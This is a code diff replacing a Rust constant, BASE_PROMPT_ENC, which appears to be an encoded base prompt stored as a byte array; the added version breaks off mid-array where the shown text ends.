-pub(crate) const BASE_PROMPT_ENC: &[u8] = &[3, 52, 41, 125, 63, 45, 5, 65, 70, 24, 31, 69, 21, 30, 27, 29, 15, 6, 51, 29, 28, 0, 29, 1, 6, 44, 24, 20, 20, 18, 20, 89, 7, 6, 92, 15, 27, 19, 229, 224, 241, 230, 224, 165, 228, 254, 168, 241, 203, 194, 162, 173, 215, 224, 229, 177, 243, 225, 241, 181, 178, 236, 189, 180, 186, 242, 250, 189, 247, 236, 255, 207, 205, 205, 251, 204, 200, 211, 205, 219, 203, 200, 216, 196, 216, 202, 144, 148, 207, 147, 213, 219, 150, 214, 205, 205, 213, 213, 211, 208, 209, 202, 179, 225, 163, 164, 161, 171, 178, 231, 188, 161, 171, 191, 236, 174, 161, 162, 160, 189, 183, 167, 177, 166, 246, 164, 183, 191, 174, 172, 189, 175, 187, 255, 133, 143, 133, 138, 138, 128, 131, 149, 129, 135, 141, 203, 152, 140, 157, 132, 131, 223, 214, 136, 209, 216, 214, 146, 148, 138, 159, 219, 217, 128, 222, 158, 110, 33, 107, 109, 112, 96, 116, 102, 107, 125, 99, 125, 105, 45, 77, 67, 89, 49, 102, 124, 123, 121, 54, 99, 112, 120, 110, 59, 116, 120, 114, 111, 83, 1, 87, 80, 65, 87, 85, 7, 95, 64, 94, 67, 12, 94, 65, 73, 68, 70, 83, 65, 81, 21, 83, 89, 95, 80, 84, 94, 89, 79, 87, 81, 39, 97, 54, 34, 55, 46, 53, 105, 108, 50, 111, 102, 108, 40, 32, 43, 57, 55, 114, 118, 41, 117, 15, 56, 45, 43, 122, 54, 61, 52, 48, 127, 7, 14, 3, 15, 68, 12, 21, 71, 28, 6, 74, 8, 3, 0, 30, 3, 21, 5, 23, 83, 0, 29, 19, 87, 13, 10, 31, 9, 91, 14, 94, 13, 229, 240, 247, 230, 247, 241, 170, 167, 236, 236, 228, 228, 248, 232, 234, 175, 231, 248, 230, 251, 253, 251, 182, 227, 240, 252, 186, 167, 233, 238, 251, 237, 255, 208, 215, 198, 214, 220, 152, 135, 220, 200, 205, 133, 166, 167, 146, 206, 211, 197, 219, 220, 218, 234, 197, 214, 222, 220, 206, 194, 130, 183, 233, 218, 169, 166, 170, 227, 161, 164, 165, 175, 232, 168, 169, 191, 165, 162, 160, 239, 178, 168, 242, 187, 187, 162, 246, 178, 185, 170, 179, 183, 165, 253, 183, 171, 192, 130, 131, 141, 196, 135, 131, 199, 157, 135, 142, 132, 130, 136, 206, 142, 158, 149, 210, 155, 155, 130, 214, 145, 153, 139, 218, 146, 136, 142, 222, 154, 102, 103, 103, 96, 112, 118, 38, 117, 109, 104, 105, 99, 34, 45, 66, 96, 115, 112, 126, 63, 52, 103, 115, 97, 125, 107, 105, 114, 126, 113, 123, 63, 87, 78, 80, 72, 4, 86, 83, 68, 64, 9, 75, 88, 12, 72, 74, 70, 68, 88, 92, 84, 20, 83, 95, 91, 93, 74, 26, 90, 82, 89, 30, 77, 53, 47, 44, 42, 42, 34, 102, 51, 45, 58, 62, 56, 108, 36, 61, 111, 54, 56, 60, 54, 116, 33, 57, 119, 60, 54, 122, 61, 46, 56, 59, 51, 25, 79, 66, 33, 1, 3, 9, 21, 13, 73, 15, 19, 9, 14, 27, 27, 25, 31, 21, 83, 21, 27, 15, 87, 25, 26, 14, 18, 19, 19, 13, 95, 244, 233, 227, 247, 164, 228, 244, 226, 168, 225, 235, 249, 232, 173, 250, 224, 176, 227, 247, 229, 241, 231, 229, 242, 180, 185, 232, 254, 253, 254, 246, 191, 211, 201, 195, 209, 193, 193, 134, 194, 208, 221, 207, 217, 194, 204, 194, 143, 195, 200, 193, 199, 209, 216, 197, 155, 152, 214, 200, 155, 221, 207, 219, 159, 175, 181, 170, 166, 182, 178, 175, 180, 173, 233, 184, 162, 191, 166, 183, 239, 191, 163, 242, 183, 177, 166, 162, 165, 173, 186, 174, 178, 170, 184, 242, 255, 131, 137, 135, 128, 143, 197, 145, 142, 156, 129, 202, 159, 132, 136, 206, 154, 131, 148, 128, 211, 146, 156, 132, 132, 140, 215, 240, 241, 191, 146, 144, 153, 105, 115, 111, 106, 106, 98, 38, 110, 123, 41, 105, 99, 105, 108, 126, 52, 48, 112, 50, 126, 125, 102, 98, 118, 115, 124, 116, 59, 125, 126, 106, 118, 79, 79, 2, 74, 87, 5, 72, 72, 92, 9, 2, 88, 89, 78, 70, 15, 81, 66, 18, 95, 91, 70, 66, 23, 79, 86, 72, 80, 16, 29, 83, 90, 51, 50, 35, 36, 33, 54, 102, 62, 39, 60, 106, 40, 45, 35, 32, 32, 36, 113, 39, 61, 39, 48, 56, 51, 116, 121, 62, 62, 48, 56, 42, 58, 4, 65, 0, 17, 5, 11, 5, 15, 13, 26, 67, 69, 76, 43, 1, 29, 80, 5, 26, 28, 7, 16, 86, 20, 25, 10, 31, 8, 80, 93, 10, 30, 235, 228, 162, 247, 236, 224, 166, 228, 231, 231, 254, 238, 244, 249, 162, 175, 228, 249, 247, 179, 245, 246, 226, 254, 247, 247, 182, 187, 253, 243, 250, 191, 212, 201, 199, 131, 209, 214, 195, 213, 143, 218, 138, 194, 194, 222, 218, 221, 197, 210, 198, 218, 219, 219, 197, 151, 209, 215, 206, 212, 156, 220, 221, 220, 175, 180, 172, 183, 255, 229, 164, 190, 232, 173, 175, 173, 173, 184, 162, 187, 252, 241, 161, 178, 173, 245, 161, 191, 185, 173, 250, 162, 179, 168, 254, 175, 140, 128, 140, 195, 144, 138, 198, 131, 135, 201, 139, 133, 136, 205, 143, 156, 155, 209, 144, 150, 146, 154, 132, 146, 216, 157, 149, 146, 146, 154, 222, 150, 116, 47, 34, 86, 119, 96, 116, 116, 40, 106, 107, 101, 44, 98, 120, 106, 98, 99, 123, 119, 113, 53, 98, 127, 121, 109, 58, 127, 121, 123, 127, 106, 76, 85, 2, 193, 164, 177, 6, 78, 78, 9, 94, 67, 73, 84, 14, 74, 72, 65, 94, 90, 87, 92, 66, 91, 65, 25, 91, 72, 87, 29, 71, 80, 53, 97, 54, 44, 100, 36, 37, 51, 104, 36, 37, 57, 41, 109, 47, 58, 36, 62, 60, 60, 57, 58, 35, 36, 52, 32, 118, 123, 37, 50, 43, 127, 13, 0, 27, 67, 20, 23, 9, 4, 13, 12, 14, 75, 27, 4, 26, 7, 31, 4, 6, 83, 23, 26, 24, 17, 17, 11, 23, 26, 8, 20, 17, 17, 172, 161, 224, 246, 240, 165, 245, 243, 225, 229, 230, 171, 225, 228, 224, 235, 176, 227, 251, 224, 255, 230, 182, 246, 246, 253, 186, 248, 243, 243, 237, 250, 209, 212, 199, 205, 199, 192, 213, 137, 162, 163, 229, 197, 201, 141, 207, 223, 192, 195, 221, 197, 213, 217, 150, 222, 203, 153, 212, 212, 200, 157, 223, 159, 162, 173, 163, 173, 175, 229, 165, 175, 173, 170, 161, 229, 236, 140, 190, 191, 162, 190, 164, 186, 186, 178, 246, 164, 183, 180, 191, 175, 180, 180, 176, 184, 192, 142, 140, 128, 129, 197, 206, 130, 198, 142, 196, 203, 141, 205, 137, 134, 132, 209, 130, 134, 135, 157, 223, 215, 156, 150, 159, 136, 220, 147, 145, 139, 32, 96, 114, 115, 118, 106, 112, 98, 40, 96, 126, 43, 101, 99, 46, 106, 102, 116, 96, 106, 52, 121, 119, 99, 125, 107, 58, 104, 117, 105, 107, 126, 84, 72, 77, 77, 10, 5, 115, 73, 68, 76, 89, 88, 12, 89, 70, 74, 16, 68, 65, 86, 70, 21, 94, 86, 75, 25, 91, 78, 72, 85, 81, 77, 41, 59, 39, 39, 100, 49, 46, 34, 104, 40, 41, 63, 37, 34, 32, 111, 57, 63, 114, 50, 48, 35, 55, 57, 59, 60, 118, 123, 63, 50, 48, 57, 9, 19, 15, 67, 19, 12, 18, 15, 72, 29, 2, 14, 76, 24, 29, 10, 2, 95, 120, 121, 60, 16, 4, 18, 88, 24, 8, 30, 92, 14, 17, 18, 229, 161, 231, 251, 229, 232, 246, 235, 237, 250, 170, 228, 234, 173, 252, 230, 227, 250, 235, 179, 245, 246, 226, 254, 247, 247, 233, 187, 232, 245, 255, 235, 128, 214, 195, 209, 214, 196, 200, 211, 136, 220, 217, 206, 222, 141, 205, 192, 222, 215, 219, 193, 217, 212, 194, 222, 215, 215, 128, 177, 145, 157, 250, 218, 179, 181, 176, 182, 167, 177, 175, 177, 173, 233, 165, 187, 169, 191, 175, 187, 185, 190, 188, 160, 244, 166, 163, 180, 176, 249, 187, 168, 252, 175, 187, 178, 143, 151, 139, 141, 131, 197, 128, 142, 132, 140, 153, 203, 131, 159, 206, 141, 130, 144, 156, 144, 156, 144, 133, 219, 216, 157, 136, 148, 140, 141, 151, 145, 103, 33, 102, 98, 112, 100, 100, 102, 123, 108, 42, 127, 109, 111, 98, 106, 99, 61, 50, 120, 125, 121, 122, 126, 118, 126, 58, 107, 110, 114, 125, 122, 83, 82, 71, 80, 8, 5, 70, 85, 69, 9, 7, 89, 74, 77, 2, 15, 84, 88, 65, 80, 85, 71, 82, 94, 86, 94, 26, 78, 82, 94, 81, 82, 45, 40, 54, 55, 33, 33, 102, 48, 39, 59, 33, 65, 97, 109, 7, 61, 34, 52, 36, 54, 38, 38, 63, 53, 52, 60, 122, 52, 44, 56, 44, 62, 20, 8, 13, 13, 23, 69, 21, 18, 11, 1, 74, 10, 31, 77, 8, 0, 2, 18, 23, 94, 4, 0, 5, 31, 29, 10, 90, 83, 21, 19, 29, 19, 245, 229, 235, 237, 227, 165, 233, 241, 237, 251, 253, 249, 229, 249, 231, 225, 247, 177, 224, 246, 249, 250, 226, 242, 184, 241, 243, 232, 232, 242, 236, 230, 137, 141, 130, 195, 195, 204, 210, 135, 218, 204, 217, 206, 216, 141, 131, 130, 216, 208, 192, 215, 212, 153, 150, 214, 213, 220, 212, 223, 213, 211, 217, 159, 163, 174, 175, 174, 173, 177, 181, 231, 169, 165, 184, 174, 173, 169, 183, 239, 160, 164, 176, 191, 189, 166, 190, 178, 188, 245, 250, 169, 185, 176, 177, 169, 137, 143, 133, 195, 139, 151, 198, 131, 135, 158, 132, 140, 158, 140, 138, 134, 158, 150, 210, 151, 145, 133, 147, 153, 156, 156, 148, 152, 149, 152, 141, 211, 32, 98, 106, 98, 106, 98, 111, 105, 111, 41, 73, 66, 35, 78, 74, 47, 96, 120, 98, 118, 120, 124, 120, 114, 107, 19, 55, 59, 93, 126, 106, 118, 79, 79, 81, 3, 75, 81, 78, 66, 90, 90, 10, 72, 77, 67, 14, 92, 85, 84, 30, 19, 91, 71, 22, 67, 80, 88, 78, 27, 95, 85, 95, 81, 39, 36, 98, 48, 44, 36, 52, 34, 44, 105, 57, 63, 45, 57, 43, 117, 112, 33, 39, 32, 60, 60, 56, 48, 120, 58, 53, 63, 57, 102, 126, 48, 16, 4, 12, 10, 10, 2, 74, 71, 11, 5, 5, 24, 5, 3, 9, 67, 80, 30, 0, 83, 23, 26, 27, 26, 29, 23, 14, 18, 18, 26, 94, 16, 238, 161, 210, 209, 247, 165, 231, 233, 236, 169, 227, 248, 255, 248, 235, 252, 171, 177, 225, 246, 250, 241, 255, 249, 255, 185, 247, 254, 239, 238, 255, 248, 197, 210, 130, 139, 247, 201, 199, 196, 195, 133, 138, 206, 193, 204, 199, 195, 156, 145, 245, 218, 192, 253, 195, 213, 145, 130, 154, 203, 211, 206, 202, 214, 174, 166, 226, 183, 171, 229, 163, 191, 188, 172, 184, 165, 173, 161, 238, 188, 181, 163, 164, 186, 183, 176, 165, 236, 248, 186, 178, 186, 178, 186, 183, 177, 135, 193, 145, 139, 133, 151, 131, 131, 200, 128, 132, 141, 158, 140, 157, 155, 130, 132, 145, 135, 129, 135, 147, 215, 151, 139, 218, 139, 153, 143, 147, 150, 115, 114, 107, 108, 106, 118, 12, 13, 65, 111, 42, 114, 99, 120, 46, 105, 121, 127, 118, 51, 97, 123, 115, 111, 104, 124, 121, 111, 121, 121, 62, 108, 84, 64, 86, 70, 4, 199, 166, 179, 8, 92, 68, 77, 77, 64, 71, 67, 89, 80, 64, 19, 82, 92, 90, 82, 75, 21, 26, 89, 78, 92, 80, 92, 40, 36, 49, 111, 100, 42, 52, 103, 43, 38, 36, 45, 37, 42, 59, 61, 49, 37, 59, 60, 58, 117, 180, 215, 204, 121, 51, 53, 42, 56, 45, 43, 9, 6, 3, 23, 1, 69, 4, 2, 14, 6, 24, 14, 76, 9, 11, 3, 21, 5, 27, 29, 19, 85, 25, 5, 88, 22, 12, 30, 14, 10, 12, 22, 244, 232, 236, 228, 191, 165, 239, 243, 168, 228, 235, 242, 172, 239, 235, 175, 228, 249, 247, 179, 225, 230, 243, 229, 191, 234, 186, 242, 242, 176, 238, 237, 207, 198, 208, 198, 215, 214, 134, 208, 199, 219, 193, 133, 166, 145, 129, 206, 211, 197, 219, 220, 218, 234, 197, 214, 222, 220, 206, 194, 130, 183, 180, 131, 180, 174, 173, 175, 155, 166, 167, 171, 164, 160, 164, 172, 242, 199, 227, 239, 133, 162, 183, 243, 167, 165, 179, 180, 177, 184, 182, 178, 166, 184, 186, 255, 148, 142, 141, 143, 151, 197, 143, 137, 155, 157, 143, 138, 136, 205, 129, 137, 208, 147, 147, 128, 156, 213, 149, 152, 149, 148, 155, 149, 152, 142, 222, 136, 104, 100, 108, 35, 116, 106, 117, 116, 97, 107, 102, 110, 32, 45, 111, 124, 48, 101, 122, 122, 103, 53, 102, 101, 119, 111, 115, 127, 121, 110, 62, 126, 0, 67, 71, 87, 80, 64, 84, 7, 93, 90, 79, 89, 12, 72, 86, 95, 85, 67, 91, 86, 90, 86, 83, 25, 24, 127, 85, 73, 28, 91, 87, 83, 37, 97, 45, 51, 33, 55, 39, 51, 33, 38, 36, 56, 96, 109, 62, 61, 53, 55, 55, 33, 116, 49, 51, 51, 49, 58, 59, 47, 57, 57, 126, 57, 9, 13, 7, 67, 16, 10, 9, 11, 27, 77, 17, 78, 65, 77, 7, 9, 80, 5, 29, 28, 24, 6, 88, 21, 1, 38, 17, 18, 18, 25, 80, 13, 229, 224, 230, 163, 161, 248, 166, 175, 237, 167, 237, 165, 160, 173, 238, 171, 235, 234, 178, 231, 251, 250, 250, 228, 182, 251, 227, 196, 247, 244, 240, 251, 142, 211, 199, 194, 192, 133, 219, 218, 200, 137, 204, 196, 222, 141, 220, 202, 209, 213, 219, 221, 211, 149, 208, 222, 212, 220, 201, 155, 213, 211, 205, 203, 165, 160, 166, 227, 171, 163, 230, 164, 169, 189, 229, 163, 169, 172, 170, 224, 164, 176, 187, 191, 240, 174, 243, 250, 248, 176, 188, 251, 168, 178, 177, 179, 147, 207, 128, 154, 187, 142, 143, 137, 140, 199, 143, 143, 133, 153, 206, 202, 141, 221, 210, 147, 208, 142, 141, 215, 140, 150, 149, 151, 143, 211, 156, 134, 95, 106, 107, 109, 96, 43, 99, 99, 97, 125, 42, 118, 113, 109, 46, 105, 127, 99, 50, 118, 112, 124, 98, 126, 118, 126, 58, 122, 114, 121, 62, 124, 82, 68, 67, 87, 77, 75, 65, 7, 78, 64, 70, 78, 95, 13, 71, 65, 67, 69, 87, 82, 80, 21, 89, 81, 24, 74, 95, 95, 19, 92, 73, 84, 100, 58, 103, 110, 100, 32, 40, 35, 33, 47, 106, 110, 49, 100, 106, 52, 117, 124, 114, 54, 56, 60, 48, 119, 44, 54, 53, 55, 47, 115, 60, 38, 63, 10, 11, 13, 0, 75, 3, 3, 1, 29, 74, 78, 17, 77, 70, 10, 94, 22, 92, 95, 84, 21, 82, 12, 3, 89, 14, 20, 19, 17, 13, 81, 226, 248, 221, 232, 237, 235, 226, 169, 237, 237, 227, 255, 172, 240, 243, 239, 176, 247, 253, 225, 180, 240, 242, 254, 236, 240, 244, 252, 188, 252, 240, 251, 128, 194, 208, 198, 197, 209, 207, 201, 207, 137, 204, 194, 192, 200, 221, 143, 217, 223, 193, 199, 209, 212, 210, 151, 215, 223, 154, 200, 217, 217, 145, 222, 183, 170, 235, 231, 191, 224, 235, 231, 173, 167, 174, 162, 170, 237, 235, 178, 254, 241, 128, 182, 167, 176, 164, 161, 189, 249, 184, 186, 175, 181, 254, 171, 143, 142, 142, 144, 196, 128, 158, 132, 132, 156, 153, 130, 154, 136, 130, 150, 208, 151, 157, 129, 212, 148, 149, 131, 141, 152, 150, 219, 143, 132, 141, 139, 101, 108, 34, 96, 107, 104, 107, 102, 102, 109, 121, 43, 109, 99, 106, 47, 100, 116, 96, 126, 125, 123, 119, 123, 56, 118, 106, 126, 110, 124, 106, 118, 79, 79, 81, 3, 80, 77, 71, 83, 8, 91, 79, 90, 89, 68, 92, 74, 16, 66, 90, 86, 88, 89, 22, 82, 64, 92, 89, 78, 72, 84, 81, 81, 110, 97, 12, 6, 18, 0, 20, 103, 61, 58, 47, 107, 46, 44, 61, 39, 112, 52, 49, 59, 59, 117, 57, 37, 120, 54, 46, 51, 57, 47, 126, 60, 15, 12, 15, 2, 10, 1, 75, 11, 1, 7, 15, 75, 24, 2, 1, 3, 3, 81, 6, 28, 84, 22, 25, 26, 21, 12, 20, 18, 31, 28, 10, 26, 160, 245, 234, 236, 241, 226, 238, 243, 251, 165, 170, 238, 244, 253, 226, 238, 254, 240, 230, 250, 251, 251, 229, 187, 184, 246, 232, 187, 245, 243, 237, 235, 210, 212, 193, 215, 205, 202, 200, 212, 136, 221, 197, 139, 216, 197, 203, 143, 197, 194, 215, 193, 154, 149, 249, 194, 204, 201, 207, 207, 156, 220, 210, 211, 224, 162, 173, 174, 169, 176, 168, 174, 171, 168, 190, 162, 163, 163, 238, 171, 185, 163, 183, 176, 160, 185, 175, 247, 177, 183, 250, 162, 179, 168, 172, 255, 146, 132, 145, 147, 139, 139, 149, 130, 200, 157, 143, 147, 152, 205, 135, 129, 131, 133, 151, 146, 144, 219, 252, 203, 215, 141, 149, 148, 144, 162, 157, 158, 108, 109, 107, 109, 99, 59, 12, 13, 44, 114, 47, 38, 44, 100, 104, 47, 100, 126, 125, 127, 103, 59, 116, 110, 71, 114, 115, 117, 120, 51, 115, 112, 78, 72, 86, 76, 86, 5, 3, 90, 34, 35, 22, 73, 77, 78, 69, 72, 66, 94, 71, 93, 80, 106, 66, 86, 75, 82, 73, 5, 54, 123, 81, 77, 96, 54, 35, 55, 39, 45, 102, 55, 58, 38, 41, 46, 63, 62, 43, 60, 124, 113, 34, 60, 56, 57, 63, 57, 63, 117, 122, 58, 50, 57, 126, 48, 14, 6, 13, 10, 10, 2, 70, 8, 10, 26, 15, 25, 26, 12, 26, 6, 31, 31, 82, 91, 55, 60, 86, 4, 12, 24, 14, 14, 15, 81, 94, 19, 239, 230, 162, 247, 229, 236, 234, 238, 230, 238, 166, 171, 205, 221, 199, 175, 224, 254, 254, 255, 253, 251, 241, 190, 162, 147, 207, 232, 249, 189, 234, 247, 197, 129, 194, 135, 223, 222, 134, 211, 199, 198, 198, 216, 130, 207, 215, 240, 219, 216, 220, 215, 154, 216, 217, 217, 209, 205, 213, 201, 156, 192, 195, 223, 224, 181, 173, 172, 168, 229, 36, 71, 92, 233, 163, 191, 236, 190, 186, 189, 181, 176, 191, 160, 244, 176, 183, 180, 176, 249, 169, 175, 184, 178, 171, 171, 192, 141, 139, 141, 129, 197, 132, 134, 139, 130, 202, 138, 159, 205, 143, 207, 147, 153, 147, 135, 212, 155, 153, 131, 145, 159, 147, 152, 157, 137, 151, 144, 110, 47, 8, 63, 43, 103, 103, 100, 99, 110, 120, 100, 121, 99, 106, 80, 100, 112, 97, 120, 103, 43, 28, 51, 99, 60, 55, 59, 121, 115, 122, 118, 70, 1, 7, 94, 46, 47, 26, 72, 93, 93, 90, 94, 88, 114, 75, 73, 86, 88, 81, 90, 81, 91, 85, 78, 6, 51, 23, 27, 107, 79, 87, 75, 37, 97, 46, 42, 47, 32, 102, 38, 38, 105, 47, 51, 47, 40, 34, 35, 53, 63, 38, 115, 32, 48, 53, 63, 54, 48, 57, 58, 48, 125, 60, 51, 15, 6, 66, 19, 11, 22, 18, 71, 138, 233, 254, 75, 28, 31, 11, 12, 25, 2, 23, 95, 84, 2, 19, 27, 20, 84, 9, 15, 14, 8, 29, 11, 245, 243, 231, 231, 168, 165, 231, 233, 236, 169, 233, 231, 233, 236, 252, 163, 176, 248, 252, 179, 247, 250, 251, 231, 244, 252, 238, 254, 188, 238, 251, 241, 212, 196, 204, 192, 193, 214, 136, 135, 229, 198, 217, 223, 140, 223, 203, 220, 192, 222, 220, 192, 209, 198, 150, 196, 208, 214, 207, 215, 216, 157, 220, 218, 224, 162, 173, 173, 167, 172, 181, 162, 232, 168, 164, 175, 236, 185, 161, 239, 164, 185, 183, 243, 164, 186, 191, 185, 172, 245, 250, 185, 169, 169, 254, 171, 136, 132, 194, 146, 145, 132, 138, 142, 156, 144, 202, 132, 138, 205, 158, 157, 159, 130, 151, 211, 135, 157, 153, 130, 148, 157, 218, 153, 153, 221, 150, 150, 103, 105, 44, 9, 41, 37, 85, 102, 101, 108, 42, 120, 120, 108, 96, 107, 113, 99, 118, 96, 52, 115, 121, 101, 56, 122, 117, 118, 113, 116, 106, 63, 65, 79, 70, 3, 116, 119, 6, 67, 77, 90, 73, 89, 69, 93, 90, 70, 95, 95, 65, 9, 20, 86, 89, 90, 72, 85, 95, 79, 89, 29, 77, 90, 46, 53, 39, 45, 39, 32, 53, 107, 104, 46, 37, 36, 40, 109, 41, 61, 49, 60, 63, 50, 38, 121, 118, 54, 54, 61, 122, 52, 50, 49, 39, 127, 18, 4, 14, 6, 18, 4, 8, 19, 72, 13, 15, 31, 13, 4, 2, 65, 122, 92, 82, 35, 6, 16, 16, 18, 10, 89, 9, 18, 17, 13, 18, 26, 172, 161, 227, 224, 231, 224, 245, 244, 225, 235, 230, 238, 172, 225, 239, 225, 247, 228, 243, 244, 241, 181, 249, 225, 253, 235, 186, 255, 249, 243, 237, 250, 128, 213, 199, 192, 204, 203, 207, 196, 201, 197, 138, 193, 205, 223, 201, 192, 222, 159, 146, 246, 204, 197, 218, 214, 209, 215, 154, 204, 212, 220, 202, 159, 163, 169, 163, 173, 163, 160, 162, 231, 169, 167, 174, 235, 187, 165, 183, 239, 185, 191, 242, 163, 184, 180, 191, 185, 248, 181, 187, 181, 187, 168, 191, 184, 133, 193, 144, 130, 144, 141, 131, 149, 200, 157, 130, 138, 130, 205, 130, 134, 131, 133, 155, 157, 147, 213, 159, 147, 157, 151, 142, 146, 154, 148, 155, 141, 115, 47, 34, 80, 112, 100, 127, 39, 110, 102, 105, 126, 127, 104, 106, 53, 48, 112, 100, 124, 125, 113, 54, 113, 113, 117, 118, 126, 110, 49, 62, 109, 69, 81, 71, 87, 77, 81, 79, 72, 70, 5, 10, 68, 90, 72, 92, 2, 68, 89, 87, 30, 64, 90, 70, 23, 92, 92, 78, 90, 85, 81, 18, 31, 33, 47, 38, 99, 48, 36, 40, 32, 45, 39, 62, 56, 108, 57, 38, 42, 112, 36, 33, 54, 38, 117, 50, 62, 60, 121, 52, 52, 40, 125, 63, 44, 11, 65, 4, 12, 22, 75, 108, 74, 72, 34, 15, 14, 28, 77, 8, 6, 30, 16, 30, 83, 6, 16, 5, 7, 23, 23, 9, 30, 15, 93, 14, 13, 239, 241, 237, 241, 240, 236, 233, 233, 233, 229, 170, 255, 227, 173, 250, 238, 227, 250, 178, 240, 251, 248, 230, 251, 253, 225, 243, 239, 229, 179, 148, 163, 143, 206, 215, 215, 212, 208, 210, 248, 205, 207, 204, 194, 207, 196, 203, 193, 211, 200, 140, 185, 190, 137, 208, 216, 202, 212, 219, 207, 200, 212, 208, 216, 254, 203, 155, 172, 177, 183, 230, 179, 173, 177, 190, 235, 163, 184, 186, 191, 165, 165, 242, 186, 167, 245, 164, 178, 182, 189, 191, 169, 185, 185, 254, 190, 147, 193, 165, 138, 144, 173, 147, 133, 197, 143, 134, 138, 154, 130, 156, 138, 148, 209, 159, 146, 134, 158, 146, 152, 143, 151, 218, 211, 191, 146, 147, 146, 111, 111, 79, 98, 118, 110, 47, 41, 40, 92, 121, 110, 44, 96, 111, 125, 123, 117, 125, 100, 122, 53, 119, 116, 108, 112, 108, 126, 112, 100, 62, 104, 72, 68, 76, 3, 77, 81, 6, 70, 65, 77, 89, 11, 88, 69, 75, 15, 66, 84, 83, 87, 81, 71, 12, 23, 90, 76, 86, 87, 89, 73, 30, 83, 41, 50, 54, 48, 100, 35, 41, 53, 104, 57, 43, 57, 45, 33, 34, 42, 60, 113, 59, 39, 49, 56, 37, 123, 120, 115, 112, 57, 51, 49, 58, 117, 74, 65, 4, 12, 22, 69, 3, 10, 24, 1, 11, 24, 5, 30, 66, 79, 16, 24, 28, 31, 29, 27, 19, 87, 27, 22, 30, 30, 28, 93, 24, 16, 242, 161, 235, 231, 225, 235, 242, 238, 238, 224, 239, 249, 255, 162, 254, 238, 228, 249, 225, 188, 247, 250, 251, 250, 249, 247, 254, 232, 176, 189, 255, 241, 196, 129, 214, 194, 198, 201, 195, 212, 136, 207, 197, 217, 140, 222, 198, 192, 194, 197, 146, 214, 218, 192, 219, 210, 202, 216, 216, 215, 217, 157, 216, 222, 163, 181, 177, 227, 236, 163, 175, 171, 173, 230, 166, 162, 162, 168, 225, 188, 164, 176, 166, 166, 167, 249, 246, 181, 189, 191, 181, 169, 185, 242, 191, 185, 148, 132, 144, 207, 196, 148, 147, 134, 134, 157, 131, 159, 141, 153, 135, 153, 149, 209, 150, 146, 128, 148, 223, 217, 242, 197, 213, 157, 147, 143, 147, 158, 116, 117, 107, 109, 99, 59, 12, 13, 44, 114, 47, 38, 44, 100, 104, 47, 126, 126, 102, 51, 125, 102, 73, 121, 119, 119, 69, 114, 114, 105, 123, 109, 65, 66, 86, 74, 82, 64, 6, 2, 85, 35, 32, 23, 89, 94, 75, 93, 111, 86, 71, 90, 80, 80, 8, 61, 124, 86, 89, 78, 81, 88, 80, 75, 33, 53, 43, 44, 42, 101, 39, 37, 39, 60, 62, 107, 56, 37, 43, 111, 27, 56, 53, 58, 116, 1, 3, 30, 120, 187, 218, 207, 124, 52, 48, 60, 12, 20, 6, 10, 10, 2, 70, 4, 7, 7, 12, 2, 11, 24, 28, 14, 4, 24, 29, 29, 88, 85, 29, 18, 1, 27, 21, 26, 14, 25, 94, 12, 232, 238, 240, 247, 231, 240, 242, 244, 164, 169, 199, 200, 220, 173, 253, 234, 226, 231, 247, 225, 231, 185, 182, 228, 243, 240, 246, 247, 239, 177, 190, 235, 200, 196, 207, 202, 202, 194, 138, 135, 216, 197, 223, 204, 197, 195, 221, 131, 144, 208, 220, 215, 148, 216, 217, 197, 221, 153, 88, 59, 40, 157, 215, 204, 224, 178, 182, 172, 182, 160, 162, 231, 169, 186, 234, 171, 226, 160, 170, 175, 240, 183, 187, 191, 177, 166, 246, 190, 182, 249, 186, 165, 243, 243, 181, 182, 135, 136, 205, 135, 139, 134, 149, 200, 157, 154, 143, 153, 193, 138, 155, 134, 148, 148, 221, 147, 218, 213, 161, 159, 157, 151, 218, 142, 143, 152, 140, 140, 32, 96, 113, 104, 36, 100, 100, 104, 125, 125, 42, 109, 105, 108, 122, 122, 98, 116, 97, 51, 123, 103, 54, 127, 119, 110, 58, 111, 115, 61, 107, 108, 69, 1, 86, 75, 65, 5, 114, 114, 97, 5, 10, 89, 73, 76, 74, 15, 68, 89, 87, 19, 70, 80, 90, 82, 78, 88, 84, 79, 28, 91, 87, 83, 37, 97, 36, 49, 43, 40, 102, 51, 32, 40, 62, 107, 40, 36, 60, 42, 51, 37, 61, 33, 45, 123, 92, 107, 119, 44, 41, 62, 46, 2, 57, 42, 9, 5, 7, 93, 110, 65, 29, 66, 69, 73, 15, 5, 8, 4, 8, 79, 85, 12];
+pub(crate) const BASE_PROMPT_ENC: &[u8] = &[3, 52, 41, 125, 63, 45, 5, 65, 70, 24, 31, 69, 21, 30, 27, 29, 15, 6, 51, 29, 28, 0, 29, 1, 6, 44, 24, 20, 20, 18, 20, 89, 7, 6, 80, 93, 31, 17, 160, 244, 236, 236, 226, 227, 239, 228, 225, 232, 230, 171, 239, 226, 227, 226, 229, 255, 251, 231, 237, 181, 213, 219, 209, 185, 252, 244, 238, 189, 213, 246, 205, 200, 140, 131, 253, 202, 211, 135, 201, 219, 207, 139, 136, 214, 139, 130, 144, 216, 212, 147, 221, 198, 233, 217, 215, 215, 229, 210, 210, 201, 219, 205, 161, 162, 182, 170, 178, 160, 230, 226, 181, 233, 171, 165, 236, 172, 187, 187, 191, 191, 189, 190, 187, 160, 165, 247, 185, 190, 191, 181, 168, 253, 170, 183, 129, 149, 194, 128, 139, 136, 150, 139, 141, 157, 143, 152, 204, 158, 129, 137, 132, 134, 147, 129, 145, 213, 147, 153, 159, 144, 148, 158, 153, 143, 151, 145, 103, 33, 118, 98, 119, 110, 117, 41, 44, 114, 47, 38, 44, 104, 98, 124, 117, 49, 55, 110, 52, 116, 120, 55, 113, 119, 110, 126, 110, 124, 125, 107, 73, 87, 71, 3, 103, 105, 111, 7, 92, 70, 69, 71, 12, 89, 70, 78, 68, 17, 90, 86, 88, 69, 69, 23, 77, 74, 95, 73, 79, 29, 73, 86, 52, 41, 98, 48, 43, 35, 50, 48, 41, 59, 47, 107, 41, 35, 41, 38, 62, 52, 55, 33, 61, 59, 49, 119, 44, 56, 41, 48, 47, 115, 122, 36, 69, 76, 66, 6, 10, 1, 15, 1, 72, 76, 23, 75, 53, 2, 27, 29, 80, 28, 19, 26, 26, 85, 17, 24, 25, 21, 90, 18, 15, 93, 10, 16, 160, 226, 237, 238, 244, 233, 227, 243, 237, 169, 254, 227, 233, 173, 251, 252, 245, 227, 181, 224, 180, 231, 243, 230, 237, 252, 233, 239, 176, 189, 250, 250, 206, 206, 214, 198, 192, 133, 209, 206, 220, 193, 195, 197, 140, 217, 198, 202, 144, 141, 199, 192, 209, 199, 